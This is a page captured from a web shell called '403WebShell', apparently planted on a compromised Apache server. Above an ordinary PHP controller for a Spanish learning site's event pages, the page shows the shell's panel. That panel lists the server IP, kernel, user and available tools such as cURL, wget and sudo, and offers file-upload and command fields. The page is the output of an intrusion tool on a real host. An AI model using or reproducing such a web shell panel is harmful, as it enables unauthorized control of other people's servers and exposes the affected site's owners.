Warning: chmod(): Operation not permitted in /var/www/alexvillarreal/wp-content/plugins/custom-post-type-ui/custom-post-type-ui.php on line 8
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/aprendizajeodisea/app/controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/aprendizajeodisea/app/controller/encuentro.php
<?php
/**
* encuentro controller
*/
class ControllerEncuentro extends Controller
{
	
	protected $router;
	protected $registry;
	public function __construct($registry,$router)
    {
	$this->router 		= $router;
	$this->registry 	= $registry;
	$this->encuentro	= new ModelEncuentro($this->registry);
	}

	public function evento(){
		isset($this->router['id']) ? $id = $this->router['id'] : $id = 2017;
		switch ($id) {
			case 2016:
				$page = APP_VIEWS_ROOT.'/encuentros/'.$id.'/index.html';
				break;
			case 2017:
				$page = APP_VIEWS_ROOT.'/encuentros/'.$id.'/index.html';
				break;
			case 2018:
				$speakers 	= $this->encuentro->getSpeakers(1);
				$img_path 	= '/app/views/encuentros/2018/images/';
				$path		= 'pages/'.$this->router['page'].'.php';
				switch ($this->router['page']) {
					case 'home':
						$testimonios = $this->clientes->getTestimonios(1,0,9); 
						$path	= 'pages/home.php';
						break;
					case 'accesos':
						$path	= 'pages/accesos.php';
						break;	
					case 'speakers':
						$path	= 'pages/speakers.php';
						break;
					case 'programa':
						$path	= 'pages/programa.php';
						break;	
					default:
						header("HTTP/1.0 404 Not Found");
						$path = APP_VIEWS_ROOT.'/404.php';
						break;
				}
				$page 	= APP_VIEWS_ROOT.'/encuentros/'.$id.'/index.php';
				break;
			default:
				header("HTTP/1.0 404 Not Found");
				$page = APP_VIEWS_ROOT.'/404.php';
				break;
		}
		include $page;	
	}

	public function speaker(){
		isset($this->router['id']) ? $id = $this->router['id'] : $id = '';
		if(!empty($id)){
			$item = $this->encuentro->getSpeaker($this->router['id'])->row;
			include APP_VIEWS_ROOT.'/encuentros/pages/speaker_info.php';
		}else{
			header("HTTP/1.0 404 Not Found");
			$page = APP_VIEWS_ROOT.'/404.php';
		}
	}


}

Youez - 2016 - github.com/yon3zu
LinuXploit